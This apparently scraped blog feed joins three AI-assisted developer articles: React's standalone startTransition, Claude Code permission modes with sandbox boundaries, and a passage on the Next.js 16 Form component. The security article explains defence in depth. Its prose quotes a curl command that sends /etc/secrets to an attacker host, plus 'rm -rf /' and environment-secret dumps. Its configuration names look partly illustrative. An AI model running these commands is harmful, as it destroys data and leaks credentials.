Hook and standalone API diverge after invocation context check

The hook's isPending flag drives loading indicators tied to component state. When a transition starts, React sets the flag to true. The component re-renders with a spinner or skeleton. When the transition commits, the flag flips to false and the final content appears. The standalone function provides no such signal. Call startTransition and the update queues silently. The only observable effect is that urgent updates, typing in an input, clicking a button: render immediately while the transition waits. Teams that need explicit pending feedback must track it separately or combine the standalone API with hook-based indicators in components that do have access to useTransition.

The implication here is architectural. Use the hook when transitions originate inside React components and the UI must reflect pending state. Use the standalone function when transitions start outside components, in store subscribers, module-level event listeners, or synchronous callbacks passed to libraries that do not accept hooks. The choice is not about capability but about caller location and whether the pending signal matters to the user experience. Both APIs schedule identically under the hood. React's reconciler treats updates wrapped in either form as interruptible, yielding to higher-priority work until the browser idles.

When to Reach for the Standalone API

The standalone API becomes necessary when code that triggers state updates lives outside React's component tree. Third-party state management libraries like Zustand or Jotai publish updates from store modules. These modules are plain JavaScript, no JSX, no component lifecycle, no access to hooks. When a store action dispatches a large state change that should not block the UI, wrapping that dispatch in useTransition fails immediately with React's "Invalid hook call" error. The store has no component context. The solution is to import startTransition and call it directly in the store action.

Event handlers attached outside React present the same constraint. A legacy codebase might attach click listeners to the DOM with addEventListener in a module that predates the React refactor. That listener needs to update React state without blocking urgent input. Refactoring the listener into a component just to access useTransition is mechanical busywork that pollutes component boundaries. The standalone function schedules the update from the listener without touching the component tree.

Synchronous callbacks passed to non-React libraries hit the same wall. An animation library accepts an onComplete callback that fires when a transition finishes. That callback updates state to reflect the animation's end. The callback is a plain function reference, not a component render. Hooks do not work here. The standalone API does. Wrap the state update in startTransition and React defers it correctly despite the callback's non-React origin.

The pattern generalizes: any synchronous JavaScript context that cannot call hooks but must schedule concurrent updates requires the standalone function. The alternative is forcing component wrappers around every non-React integration point, fragmenting logic and coupling concurrent scheduling to component structure. The standalone export breaks that coupling. Schedule transitions from any module that can import from react. No hooks, no components, no architectural compromises.

Using startTransition Outside Components

A Zustand store managing a large dataset demonstrates the standalone API's mechanics. The store exports an action that filters thousands of items based on user input. Filtering blocks the main thread for 100ms. Users type into a search box and the UI freezes until the filter completes. The fix is wrapping the filter dispatch in startTransition so typing stays responsive while React processes the filter result when idle.

import { create } from 'zustand';
import { startTransition } from 'react';

interface Item {
  id: string;
  name: string;
  category: string;
}

interface StoreState {
  items: Item[];
  filtered: Item[];
  filter: string;
  setFilter: (term: string) => void;
}

const useStore = create<StoreState>((set, get) => ({
  items: Array.from({ length: 10000 }, (_, i) => ({
    id: String(i),
    name: `Item ${i}`,
    category: i % 3 === 0 ? 'A' : i % 3 === 1 ? 'B' : 'C',
  })),
  filtered: [],
  filter: '',
  setFilter: (term: string) => {
    set({ filter: term });

    startTransition(() => {
      const items = get().items;
      const result = items.filter(
        item => item.name.includes(term) || item.category.includes(term)
      );
      set({ filtered: result });
    });
  },
}));

export default useStore;

The setFilter action updates the filter field synchronously. React commits that change immediately because it is not wrapped. Components bound to filter re-render right away, keeping the input controlled. The filtering logic inside startTransition runs after urgent updates. Users see their keystrokes in real time. The filtered list updates a frame later when React schedules the transition. The store never touches useTransition or component scope. The standalone function handles concurrent scheduling entirely within the store module.

The same pattern applies to module-level event handlers. A notifications module listens for WebSocket messages and updates a global notification list. Each message triggers a state change. Wrapping those updates in startTransition prevents notification floods from blocking user interactions with the main UI.

import { startTransition } from 'react';
import { create } from 'zustand';

interface Notification {
  id: string;
  message: string;
  timestamp: number;
}

const useNotifications = create<{
  notifications: Notification[];
  add: (msg: string) => void;
}>((set) => ({
  notifications: [],
  add: (msg: string) => {
    startTransition(() => {
      set((state) => ({
        notifications: [
          ...state.notifications,
          { id: crypto.randomUUID(), message: msg, timestamp: Date.now() },
        ],
      }));
    });
  },
}));

// In a separate module or initialization script
if (typeof window !== 'undefined') {
  const ws = new WebSocket('wss://example.com/notifications');
  ws.onmessage = (event) => {
    useNotifications.getState().add(event.data);
  };
}

export default useNotifications;

The WebSocket handler calls the store's add action, which wraps the state update in startTransition. High-frequency message bursts no longer lock the UI. React processes each notification when the main thread is free. The setup requires zero components. The standalone API integrates concurrent scheduling into plain event-driven code.

Third-Party Store Integration Patterns

Production codebases that mix React with external state libraries face a recurring challenge. The store manages complex state and exposes actions to update it. Those actions often trigger derived computations, filtering, or sorting that block rendering. React's concurrent mode could defer these operations, but the store has no access to useTransition. The solution is wrapping expensive store operations in the standalone startTransition, then exposing pending indicators through a separate hook when components need loading feedback.

Store action wraps expensive update in startTransition and optional hook tracks pending

A Redux-like store managing a product catalog illustrates the pattern. The store dispatches a sortProducts action that reorders thousands of items. Sorting takes 80ms. Users click sort controls and the UI stutters. The fix is calling startTransition inside the reducer logic, moving the sort to concurrent scheduling. A custom hook adds a useIsSorting boolean that components can read for loading spinners.

import { startTransition } from 'react';
import { create } from 'zustand';
import { useState, useEffect } from 'react';

interface Product {
  id: string;
  name: string;
  price: number;
}

interface CatalogState {
  products: Product[];
  sortOrder: 'asc' | 'desc';
  setSortOrder: (order: 'asc' | 'desc') => void;
}

const useCatalog = create<CatalogState>((set, get) => ({
  products: Array.from({ length: 5000 }, (_, i) => ({
    id: String(i),
    name: `Product ${i}`,
    price: Math.random() * 1000,
  })),
  sortOrder: 'asc',
  setSortOrder: (order) => {
    set({ sortOrder: order });

    startTransition(() => {
      const sorted = [...get().products].sort((a, b) =>
        order === 'asc' ? a.price - b.price : b.price - a.price
      );
      set({ products: sorted });
    });
  },
}));

export function useIsSorting() {
  const [pending, setPending] = useState(false);
  const sortOrder = useCatalog((state) => state.sortOrder);

  useEffect(() => {
    setPending(true);
    const timeout = setTimeout(() => setPending(false), 100);
    return () => clearTimeout(timeout);
  }, [sortOrder]);

  return pending;
}

export default useCatalog;

The setSortOrder action updates sortOrder synchronously, then wraps the sorting computation in startTransition. Components bound to sortOrder re-render immediately with the new sort direction. The product list updates a frame later when React commits the transition. The useIsSorting hook tracks the sortOrder dependency and flips a boolean briefly after changes. Components that need a spinner call the hook and render loading state. The store gains concurrent scheduling without hooks, and components opt into pending indicators where users see them.

This pattern scales to any store architecture. MobX observables, Recoil atoms, or custom event emitters can wrap derived computations in startTransition. Components that consume those stores remain reactive. The standalone API handles scheduling in the store layer. Hooks in components handle pending feedback. The separation keeps concurrent primitives decoupled from state management choices.

Event Handlers in Non-React Code

Legacy codebases or libraries that predate React often attach event listeners directly to the DOM. These listeners update application state but live outside component scope. A dropdown menu built with vanilla JavaScript dispatches a change event when users select an item. That event updates a global state object that React components read. The update blocks rendering because it is synchronous. Refactoring the dropdown into a React component is a multi-day task that touches unrelated modules. The immediate fix is wrapping the state update in startTransition so the dropdown's event handler schedules transitions without architectural changes.

import { startTransition } from 'react';
import { create } from 'zustand';

interface AppState {
  selectedCategory: string;
  setCategory: (cat: string) => void;
}

const useAppState = create<AppState>((set) => ({
  selectedCategory: 'all',
  setCategory: (cat) => {
    startTransition(() => {
      set({ selectedCategory: cat });
    });
  },
}));

// In a legacy initialization script
if (typeof document !== 'undefined') {
  document.addEventListener('DOMContentLoaded', () => {
    const dropdown = document.getElementById('category-dropdown') as HTMLSelectElement;
    if (dropdown) {
      dropdown.addEventListener('change', (event) => {
        const target = event.target as HTMLSelectElement;
        useAppState.getState().setCategory(target.value);
      });
    }
  });
}

export default useAppState;

The dropdown's change listener calls the store's setCategory action. The action wraps the state update in startTransition. React marks the category change as low priority. If users are scrolling or typing elsewhere, those interactions render first. The category filter applies afterward. The dropdown code never touches React components. The standalone function integrates concurrent scheduling into the legacy event handler seamlessly.

The pattern extends to third-party UI libraries. A charting library fires onZoom callbacks when users pan a graph. Those callbacks update axis ranges and trigger expensive re-renders. Wrapping the range update in startTransition keeps the zoom interaction smooth. The chart library passes a callback reference. That callback cannot be a hook. The standalone API is the only option.

This flexibility is the standalone function's primary value. React's concurrent mode was designed for component trees, but production codebases integrate dozens of systems that do not fit that model. Event handlers, synchronous callbacks, store actions, and module-level side effects all need concurrent scheduling without refactoring into components. The standalone startTransition export makes that possible.

Performance Trade-offs Without isPending

The standalone API's core limitation is the absence of a pending indicator. Call startTransition and React schedules the update, but the function returns nothing. Components that need to show loading spinners or skeleton screens must track pending state separately. The trade-off is deterministic: gain the ability to schedule transitions from non-hook contexts, lose automatic pending signals.

Standalone API schedules transitions but requires manual pending tracking

Teams that need pending feedback in components where useTransition is available use both APIs together. The store or event handler calls the standalone startTransition to schedule the update. A component that renders the affected data uses useTransition to get an isPending flag for a spinner. The two transitions run independently. React treats them as separate scheduling boundaries. The component's transition might complete before the store's, or vice versa. The UI shows pending state as long as either transition is active.

This dual-API approach is common in production. A search component uses useTransition to mark query updates as deferred. A separate filter store uses the standalone startTransition to schedule expensive re-filtering. Both transitions fire from the same user action. The component's isPending flag drives a loading indicator. The store's transition updates the filtered results. React schedules both as low priority, commits them when idle, and the component re-renders once with both changes applied.

The cost is additional coordination. Developers must decide where pending indicators matter and which components should track them. A store that updates silently in the background needs no pending signal. A search input that users stare at while waiting for results requires clear feedback. The standalone API provides the scheduling primitive. Teams layer pending state tracking on top when the user experience demands it.

Performance remains identical whether transitions originate from the hook or the standalone function. React's scheduler does not distinguish between them. Both APIs mark updates as low priority, interrupt them for urgent work, and commit them when the main thread idles. The difference is entirely in return values and caller constraints. The scheduling mechanism is the same. The performance characteristics are the same. The only divergence is whether the developer gets an isPending boolean without additional work.

Frequently Asked Questions

Can startTransition be called inside a React component?

The standalone startTransition function works inside components, but the useTransition hook is the better choice there because it returns an isPending flag for loading indicators. Use the standalone function in components only when the transition originates in a callback that cannot access hook state.

Does startTransition batch multiple state updates like React.startTransition in class components?

React's scheduler batches all state updates wrapped in startTransition, whether called from the standalone function or the hook. The transition boundary groups updates together and commits them as a single render pass, identical to how the hook behaves.

What happens if startTransition is called during a transition that is already running?

React queues the new transition behind the current one. The scheduler processes transitions in order, committing each when the main thread is free. Overlapping transitions do not cancel each other unless the state updates conflict.

Can the standalone startTransition be used with React Server Components?

React Server Components render on the server and do not support client-side concurrent scheduling. The startTransition function is a client-side primitive that only affects browser rendering. Use it in client components that hydrate and update in the browser.

How does startTransition interact with Suspense boundaries?

Transitions wrapped in startTransition respect Suspense boundaries. If a transition triggers a component that suspends, React shows the existing UI until the suspended data resolves, then commits the transition. The standalone function schedules transitions the same way the hook does, so Suspense interactions are identical.

Conclusion: Choosing the Right Concurrent Primitive

React's concurrent mode provides two entry points for scheduling deferred updates. The useTransition hook returns a transition callback and a pending flag, but requires component scope. The standalone startTransition function schedules transitions from any synchronous context but provides no pending signal. The choice is mechanical: use the hook when transitions originate inside components and pending feedback matters to the user experience. Use the standalone function when transitions start in stores, event handlers, or callbacks outside React's component tree.

Production codebases rarely fit cleanly into one pattern. State management libraries, legacy event listeners, and third-party integrations all need concurrent scheduling without component constraints. The standalone API solves that problem directly. Import startTransition, wrap expensive updates, and React defers them correctly. Combine the standalone function with useTransition in components that need loading indicators and concurrent scheduling spans boundaries seamlessly.

That covers the essential patterns for React's standalone startTransition export. Apply these in production and the difference will be immediate. Urgent interactions stay responsive, expensive updates defer until idle, and concurrent mode works outside component trees without architectural compromises.

Claude Code Permission Modes in 2026: What `--allowedTools`, Whitelists, and Sandbox Boundaries Actually Restrict

jsmanifest — Tue, 08 Sep 2026 06:16:39 +0000

Claude Code Permission Modes in 2026: What `--allowedTools`, Whitelists, and Sandbox Boundaries Actually Restrict

This article was written with the assistance of AI, under human supervision and review.

Most Claude Code security failures stem from treating permission modes and sandbox boundaries as interchangeable concepts. Teams ship agents with Auto mode enabled, assuming the Bash sandbox prevents harm. The sandbox restricts file system access. Permission modes control whether Claude even attempts the action. When these two layers misalign, the agent either breaks production workflows or leaks credentials through unrestricted tool calls.

The confusion compounds when engineers discover --allowedTools and assume whitelisting individual capabilities (like edit_file or run_command) provides complete protection. It does not. The whitelist prevents Claude from invoking forbidden tools. It says nothing about what those allowed tools can reach once invoked. A configuration that permits run_command but forgets to restrict the Bash sandbox to a safe directory tree lets the agent execute rm -rf / without friction.

The correct architecture separates concerns. Permission modes (Auto, Prompt, Restricted, Custom) decide whether Claude asks before acting. Sandbox boundaries (bubblewrap on Linux, Seatbelt on macOS) define the outer limits of what Bash commands can touch. Defense-in-depth pairs permission deny rules with tight sandbox restrictions so even a prompt-approval mistake cannot escape isolation.

Key Takeaways

Permission modes control whether Claude attempts an action; sandbox boundaries limit what that action can reach if approved or auto-granted.
--allowedTools whitelisting blocks specific capabilities like edit_file or run_command but does not restrict file paths or network access within allowed tools.
Restricted mode denies all tool calls by default; Custom mode lets teams whitelist only essential tools while denying everything else.
Sandbox isolation (bubblewrap, Seatbelt) prevents Bash commands from accessing paths outside defined boundaries even when permission modes allow execution.
Defense-in-depth pairs permission deny rules with sandbox restrictions so a single misconfiguration cannot compromise the entire system.

The Four Permission Modes: Auto, Prompt, Restricted, and Custom

Permission modes determine when Claude halts to request approval before invoking a tool. Auto grants every capability without asking. Prompt requires user confirmation for each tool call. Restricted denies all tools by default. Custom mode combines an allowedTools whitelist with explicit deny rules for fine-grained control.

Auto mode ships with zero friction. The agent edits files, runs shell commands, and installs packages without interruption. This speed comes at a cost. When Claude misinterprets a task and attempts git push --force to the wrong branch, Auto mode executes the command instantly. No confirmation dialog appears. The force-push overwrites production history before a human notices.

Prompt mode surfaces every tool invocation for approval. The agent stops to ask: "Run npm install?" This visibility catches errors early but slows iteration. Developers working in tight feedback loops approve dozens of prompts per session. Alert fatigue sets in. A malicious or confused request slips through because the approval reflex becomes automatic.

Restricted mode flips the default to deny. Claude cannot invoke any tool unless the team explicitly permits it. This mode suits production environments where the agent operates on a fixed set of well-tested tasks. A deployment pipeline that only needs run_command for Docker builds and read_file for config validation can deny every other capability. The agent cannot install packages, edit source files, or query external APIs.

Custom mode provides surgical control. Teams define an allowedTools array containing exactly the capabilities the agent requires. A data processing workflow might permit read_file, list_directory, and write_file while denying run_command and install_package. The configuration pairs the whitelist with explicit deny rules for high-risk tools. This matters because the whitelist operates as an allowlist. Omitting a tool from allowedTools prevents invocation but does not block future additions without review.

Understanding --allowedTools and Whitelisting Specific Capabilities

--allowedTools is a configuration flag that accepts an array of tool identifiers. Engineers use it to construct a minimal permission surface. The whitelist prevents Claude from invoking tools outside the approved set, but it does not constrain what those tools can access once invoked.

A configuration that includes edit_file in allowedTools grants the agent permission to modify any file the process user can write. The whitelist does not restrict paths. If the agent runs with root privileges and the sandbox is misconfigured, edit_file can overwrite /etc/passwd. The permission mode allowed the tool invocation. The sandbox failed to isolate file system access.

The distinction between tool invocation and resource access is critical. run_command appears in many whitelists because automated workflows need shell execution. A whitelist entry for run_command permits the agent to spawn any Bash command. It does not limit arguments or working directory. Without a sandbox boundary, the agent can execute curl https://attacker.com/exfiltrate -d @/etc/secrets.

Teams often pair --allowedTools with deny rules to create defense-in-depth. A configuration might whitelist read_file and list_directory while denying install_package and run_command. The deny rules act as a safety net. If a future code change accidentally adds a high-risk tool to the whitelist, the explicit deny rule blocks invocation until a maintainer reviews the change.

The implication here is that --allowedTools solves the invocation problem but not the access problem. A complete security posture requires both a whitelist and a sandbox.

Sandbox Boundaries: What bubblewrap and Seatbelt Actually Restrict

Sandbox isolation operates one layer below permission modes. Once a tool invocation succeeds (either through Auto mode or after prompt approval), the sandbox determines what system resources that tool can touch. On Linux, Claude Code uses bubblewrap. On macOS, it uses Seatbelt profiles. Both technologies create a restricted execution environment that denies access to paths outside a defined boundary.

bubblewrap creates a new mount namespace. The agent's Bash commands see a minimal file system tree. A typical configuration mounts /workspace as read-write and /usr, /lib, /bin as read-only. Everything else remains invisible. When the agent executes cat /etc/secrets, the file does not exist in the sandboxed view. The kernel blocks the read before it reaches the real file system.

Seatbelt profiles on macOS work differently but achieve the same goal. The profile specifies allowed paths, forbidden paths, and default deny rules. A production profile might permit reads from /Users/agent/workspace and deny everything else. When the agent attempts open("/Users/admin/.ssh/id_rsa"), the Seatbelt kernel extension intercepts the system call and returns an error.

The boundary applies to all child processes. If the agent runs npm install, the package manager spawns dozens of subprocesses to fetch dependencies and execute lifecycle scripts. Every subprocess inherits the sandbox restrictions. A malicious post-install script cannot write to /usr/local/bin or read from /etc because the sandbox denies access at the kernel level.

Network access often escapes sandbox restrictions by default. bubblewrap can isolate the network namespace but many teams leave it open to allow dependency downloads and API calls. This creates an asymmetry. The agent cannot read /etc/secrets but can exfiltrate data through curl. A complete defense-in-depth configuration pairs file system isolation with network filtering or restricts run_command to prevent arbitrary outbound connections.

The failure mode here is subtle but expensive. Teams configure tight permission whitelists but forget to restrict the sandbox. The agent cannot invoke install_package but can still run curl through run_command. The sandbox allows network access. Credentials leak through a side channel the permission mode never controlled.

Defense-in-Depth: Combining Permission Deny Rules with Sandbox Restrictions

Defense-in-depth pairs multiple security layers so a single misconfiguration cannot compromise the system. In Claude Code, this means configuring both permission deny rules and sandbox boundaries to address different failure modes. Permission rules prevent Claude from attempting dangerous actions. Sandbox restrictions prevent allowed actions from reaching sensitive resources.

A production deployment workflow demonstrates the pattern. The agent needs to build Docker images and push them to a registry. The task requires run_command for Docker CLI invocations and read_file to validate build contexts. The team configures Custom mode with allowedTools: ["run_command", "read_file"] and explicit deny rules for edit_file, install_package, and delete_file.

The whitelist prevents accidental file modifications or package installations. The agent cannot corrupt the source tree or introduce dependencies without review. But run_command remains powerful. A confused prompt could lead Claude to execute docker run --privileged or rm -rf /workspace. The permission mode allowed the invocation. The sandbox must block the damage.

The sandbox configuration mounts /workspace read-only except for a single /workspace/build directory that receives build artifacts. The Docker socket is bind-mounted into the sandbox so the agent can invoke the Docker daemon. But the daemon itself runs outside the sandbox with its own restrictions. When the agent attempts docker run --privileged, the daemon refuses because its security profile denies privileged containers.

This layered approach catches mistakes at multiple checkpoints. If a maintainer accidentally adds edit_file to the whitelist, the agent can invoke the tool but the sandbox prevents writes outside /workspace/build. If the sandbox is misconfigured to allow writes everywhere, the permission deny rule for edit_file blocks the invocation unless explicitly approved through Prompt mode.

The pattern extends to credential isolation. Secrets live in a separate directory (like /etc/secrets or a mounted volume) that the sandbox denies entirely. Even if the agent gains read_file permission and a prompt approval, the sandbox returns an error when it attempts to open the file. The kernel enforces the boundary. No application-level logic can bypass it.

Code Example: Configuring a Safe Production Environment with Minimal Permissions

A production configuration file demonstrates how to combine Custom mode, a minimal allowedTools whitelist, and sandbox restrictions into a cohesive security posture. This example targets a CI pipeline agent that validates pull requests by running tests and linting checks.

// claude-code-config.ts
export const productionConfig = {
  permissionMode: "custom",
  allowedTools: [
    "run_command",      // Required for npm test, eslint
    "read_file",        // Required to read package.json, test configs
    "list_directory",   // Required to enumerate test files
  ],
  denyTools: [
    "edit_file",        // Tests should never modify source
    "delete_file",      // Prevent accidental cleanup of fixtures
    "install_package",  // Lock dependencies to package-lock.json
    "write_file",       // Block output file creation outside /tmp
  ],
  sandbox: {
    type: "bubblewrap",  // Linux container isolation
    allowedPaths: [
      { path: "/workspace", mode: "ro" },  // Source tree read-only
      { path: "/workspace/.cache", mode: "rw" },  // Test cache writable
      { path: "/tmp", mode: "rw" },  // Temporary files
    ],
    deniedPaths: [
      "/etc",            // No access to system configs
      "/root",           // No access to root home directory
      "/home/ci/.ssh",   // No access to SSH keys
    ],
    network: {
      allowedHosts: [
        "registry.npmjs.org",  // Dependency downloads
        "api.github.com",      // CI status updates
      ],
      denyByDefault: true,
    },
  },
  resourceLimits: {
    maxMemoryMB: 2048,
    maxCPUPercent: 80,
    timeoutSeconds: 300,
  },
};

This configuration starts with Custom mode and a three-tool whitelist. The agent can execute commands, read files, and list directories. It cannot edit source, delete files, install packages, or write output except to explicitly writable paths. The deny rules act as guardrails. If a future code change adds edit_file to the whitelist without review, the explicit deny rule blocks invocation.

The sandbox layer enforces file system boundaries. The workspace mounts read-only except for a cache directory that test frameworks need. The /tmp directory allows ephemeral writes for test artifacts. Everything else is invisible to the sandboxed process. When the agent runs npm test, the test runner can write coverage reports to /workspace/.cache but cannot modify source files in /workspace/src.

Network filtering prevents data exfiltration. The agent can reach npm's registry to validate dependency checksums and GitHub's API to post status checks. All other outbound connections fail. A compromised test script cannot curl an attacker-controlled server. The sandbox blocks the connection before it reaches the network.

Resource limits prevent denial-of-service. The agent cannot consume more than 2GB of memory or 80% of CPU time. A runaway test suite hits the memory limit and terminates with an error instead of crashing the CI server. The five-minute timeout prevents infinite loops from blocking the queue.

// Runtime validation before agent execution
function validateConfig(config) {
  const requiredTools = ["run_command", "read_file"];
  const forbiddenTools = ["edit_file", "delete_file"];

  requiredTools.forEach(tool => {
    if (!config.allowedTools.includes(tool)) {
      throw new Error(`Missing required tool: ${tool}`);
    }
  });

  forbiddenTools.forEach(tool => {
    if (config.allowedTools.includes(tool)) {
      throw new Error(`Forbidden tool in allowedTools: ${tool}`);
    }
  });

  // Verify sandbox denies sensitive paths
  const sensitivePaths = ["/etc", "/root", "/home/ci/.ssh"];
  sensitivePaths.forEach(path => {
    if (!config.sandbox.deniedPaths.includes(path)) {
      throw new Error(`Sensitive path not denied: ${path}`);
    }
  });

  return true;
}

This validation function runs before launching the agent. It enforces invariants: required tools must appear in the whitelist, forbidden tools must not, and sensitive paths must appear in the sandbox deny list. The check catches configuration drift. If a maintainer removes /etc from deniedPaths during refactoring, the validation fails at startup instead of leaking credentials at runtime.

Common Misconfigurations: When Sandbox Settings Don't Match Permission Rules

The most frequent misconfiguration occurs when teams set restrictive permission modes but forget to configure the sandbox. Auto mode with an empty allowedTools whitelist and no sandbox restrictions provides zero isolation. The agent can invoke any tool and reach any resource the process user can access.

A team ships a code review agent in Prompt mode, assuming manual approval provides sufficient control. The agent asks to run npm audit fix, and a developer approves. The command succeeds because run_command is permitted. But the sandbox is misconfigured. The /node_modules directory mounts read-write, and the process user has root privileges. npm audit fix installs a malicious package that writes a backdoor to /usr/local/bin. The prompt approval allowed the command. The sandbox failed to isolate the installation target.

The inverse misconfiguration is less common but equally dangerous. A team configures a tight sandbox but sets permission mode to Auto. The agent cannot write outside /workspace/build, but it can invoke any tool without asking. Claude misinterprets a request and runs git push --force to the wrong branch. The sandbox did not prevent the push because Git operates over the network, which the sandbox allows by default. The permission mode should have required prompt approval for destructive commands.

Network access often escapes sandbox restrictions by default. Teams assume bubblewrap isolation prevents data exfiltration but forget to check the network policy. The agent cannot read /etc/secrets because the path is outside the sandbox boundary. But it can run curl through run_command and post the contents of allowed files to an external server. The file system sandbox worked as intended. The network policy was never configured.

Credential leaks through environment variables bypass both layers. The sandbox restricts file paths and network endpoints. Permission modes control tool invocations. But environment variables like AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN live in the process environment. The agent can read them through run_command by executing printenv or echo $AWS_SECRET_ACCESS_KEY. A complete configuration either scrubs sensitive variables before launching the agent or uses a secrets manager that requires explicit authentication.

The failure mode here is subtle but expensive. A configuration that looks secure on paper (Custom mode, minimal whitelist, sandbox enabled) leaks credentials through a channel the team never considered. Comprehensive testing must verify that the agent cannot access sensitive resources through any available tool, not just the obvious ones like read_file.

Frequently Asked Questions

What happens if `allowedTools` includes `run_command` but the sandbox is disabled?

The agent can execute any Bash command with the permissions of the process user. If the process runs as root or has access to sensitive paths, run_command can read credentials, modify system files, or install backdoors. The permission whitelist allows the tool invocation, but without sandbox isolation, no boundary prevents the command from reaching dangerous resources.

Can sandbox restrictions block network access completely?

Yes, but the configuration must explicitly deny network access. bubberwrap on Linux can isolate the network namespace to prevent all outbound connections. Seatbelt on macOS can deny socket creation. Many teams leave network access open by default to allow dependency downloads and API calls, which creates an exfiltration channel if run_command or install_package are permitted.

Does Custom mode with an empty `allowedTools` array provide complete protection?

An empty allowedTools array prevents Claude from invoking any tool, which blocks most attacks. But it does not address side channels like environment variable access or command injection through prompt engineering. A comprehensive security posture pairs an empty whitelist with sandbox restrictions, environment variable scrubbing, and prompt validation to prevent indirect access to sensitive resources.

How do I verify my sandbox configuration actually works?

Run a test agent that attempts to access forbidden resources and confirm it fails. Try reading /etc/passwd, writing to /usr/local/bin, and connecting to arbitrary network endpoints. The sandbox should block all attempts and return errors. Automated tests should validate these invariants on every configuration change to catch drift before production deployment.

What is the difference between denying a tool in `denyTools` and omitting it from `allowedTools`?

Omitting a tool from allowedTools prevents invocation by default in Custom mode. Adding it to denyTools creates an explicit deny rule that blocks the tool even if a future code change adds it to the whitelist. The explicit deny rule acts as defense-in-depth against accidental permission escalation during refactoring or configuration merges.

Conclusion: Building a Security Posture That Balances Speed and Safety

Permission modes and sandbox boundaries solve different problems. Permission modes control whether Claude attempts an action. Sandbox boundaries limit what that action can reach. A complete security posture requires both layers. Custom mode with a minimal allowedTools whitelist prevents unnecessary tool invocations. Tight sandbox restrictions isolate allowed tools from sensitive resources. Defense-in-depth pairs explicit deny rules with kernel-enforced boundaries so a single misconfiguration cannot compromise the system.

Teams shipping Claude Code agents in production must test both layers independently and together. Verify that forbidden tools cannot be invoked even through prompt engineering. Confirm that allowed tools cannot access sensitive paths even with root privileges. Validate that network policies prevent data exfiltration through side channels. The configuration file documents intent. Runtime validation and automated testing prove it works.

That covers the essential patterns for securing Claude Code agents with permission modes and sandbox isolation. Apply these in production and the difference between a leaked credential and a contained failure will be immediate. For cost control strategies that complement these security patterns, see Claude Code Cost Control in Production. To understand how checkpoints interact with permission boundaries, read Claude Code Checkpoints: Restore Agent State. For CI integration patterns that respect these restrictions, check Claude Code CI: Agentic Review, Test, and Auto-Fix.

Next.js 16 `Form` Component: Built-In Progressive Enhancement and Why It Replaces Your Custom Wrappers

jsmanifest — Sun, 06 Sep 2026 16:37:16 +0000

Next.js 16 Form Component: Built-In Progressive Enhancement and Why It Replaces Your Custom Wrappers

This article was written with the assistance of AI, under human supervision and review.

Most form handling problems in Next.js applications stem from misunderstanding what the framework provides versus what teams must build themselves. The gap between native HTML forms and production-grade form handling created an entire ecosystem of custom wrapper components, validation libraries, and progressive enhancement polyfills. Next.js 16 introduced a first-party Form component that narrows this gap significantly, but developers continue building abstractions they no longer need while missing the patterns the component actually requires.

The typical approach treats forms as purely client-side concerns. Teams reach for controlled inputs, complex state management, and client-side validation before considering server actions or progressive enhancement. When JavaScript fails to load or executes slowly, these forms become unusable. The Form component inverts this pattern by making the server-first path the default and enhancing it progressively when client capabilities are available.

The correct pattern treats the HTML form as the foundation and JavaScript as an enhancement layer. Next.js 16 makes this the default by handling navigation state, preventing double submissions, and managing the form lifecycle without requiring client-side framework code. When JavaScript loads, the experience improves with instant feedback and optimistic updates. When it does not, the form still works through standard browser submission.

This matters because form reliability directly impacts conversion rates and accessibility compliance. The pattern also eliminates entire categories of bugs related to loading states, race conditions, and client-side validation drift.

Key Takeaways

The Next.js 16 Form component provides built-in progressive enhancement that works without JavaScript by default and enhances when available.
Teams can eliminate most custom form wrapper components because Form handles navigation state, submission prevention, and scroll restoration natively.
Progressive enhancement is not about degrading gracefully but about building reliable forms that work in all network and JavaScript conditions from the start.
Migration from custom wrappers requires moving validation logic to server actions and removing client-side submission handlers that bypass native form behavior.
The component does not replace validation libraries or complex multi-step flows but removes the infrastructure layer most teams unnecessarily maintain.

What Progressive Enhancement Means in 2026

Progressive enhancement describes an architecture where core functionality works without JavaScript and improves when client capabilities are available. Most modern frameworks abandoned this pattern in favor of client-first rendering, where the application requires JavaScript to function at all. Next.js server components reversed this trend by making server-rendered content the default, and the Form component extends this philosophy to user interactions.

The browser provides a working form submission mechanism through the native <form> element. When a form submits without JavaScript, the browser serializes the form data, sends a POST request to the action URL, and navigates to the response. This mechanism is reliable, accessible, and works in every environment where HTML renders. Progressive enhancement means building on this foundation rather than replacing it.

The Next.js 16 Form component enhances this flow by preventing full page navigation when JavaScript is available, showing loading states during submission, and preserving scroll position after the action completes. The enhancement layer activates only after the framework hydrates, which means the form works immediately on page load before any JavaScript executes.

This distinction is critical. Many teams implement "progressive enhancement" by detecting JavaScript availability and rendering different markup for each case. The Next.js approach renders identical markup in both cases and enhances the behavior progressively through event listeners and state management. The server action receives the same data structure whether JavaScript was available or not.

The failure mode here is building forms that require JavaScript to construct the request payload. When developers serialize form data manually in a submit handler, bypass the native form element, or rely on client state to determine what data to send, they break progressive enhancement. The form becomes unusable when JavaScript fails to load or throws an error during initialization.

The Next.js 16 Form Component API

The Form component accepts standard HTML form attributes plus framework-specific props for controlling navigation and scroll behavior. The core API surface is intentionally minimal because most form functionality comes from the native element itself.

import Form from 'next/form'

export default function NewsletterSignup() {
  async function subscribe(formData: FormData) {
    'use server'

    const email = formData.get('email')
    // Server-side validation and processing

    return { success: true }
  }

  return (
    <Form action={subscribe}>
      <input 
        type="email" 
        name="email" 
        required 
        aria-label="Email address"
      />
      <button type="submit">Subscribe</button>
    </Form>
  )
}

The action prop accepts a server action function directly. When the form submits, Next.js serializes the form data into a FormData object and passes it to the server action. The server action executes in a secure server environment with full access to databases, environment variables, and other server-only resources.

The component provides three props for controlling navigation: replace determines whether the navigation uses router.replace() instead of router.push(), scroll controls whether the page scrolls to the top after navigation, and prefetch controls whether the action endpoint is prefetched. These props mirror the behavior of the Link component because form submission is fundamentally a navigation event.

import Form from 'next/form'

export default function SearchForm() {
  return (
    <Form 
      action="/search" 
      replace={true}
      scroll={false}
    >
      <input 
        type="search" 
        name="q" 
        placeholder="Search products..."
      />
      <button type="submit">Search</button>
    </Form>
  )
}

When the action prop is a string URL instead of a server action, the form behaves like a standard HTML form with progressive enhancement. The browser submits to the URL without JavaScript, and Next.js intercepts the submission when JavaScript loads to prevent full page reloads. This pattern works for search forms, filter controls, and any form that navigates to a new URL based on user input.

The component does not provide built-in validation, loading states, or error handling. These concerns belong in the server action for validation and in client components for visual feedback. The separation keeps the Form component focused on navigation and submission mechanics while letting developers choose their own patterns for validation and user feedback.

Form vs HTML form vs Custom Wrappers: What Actually Changed

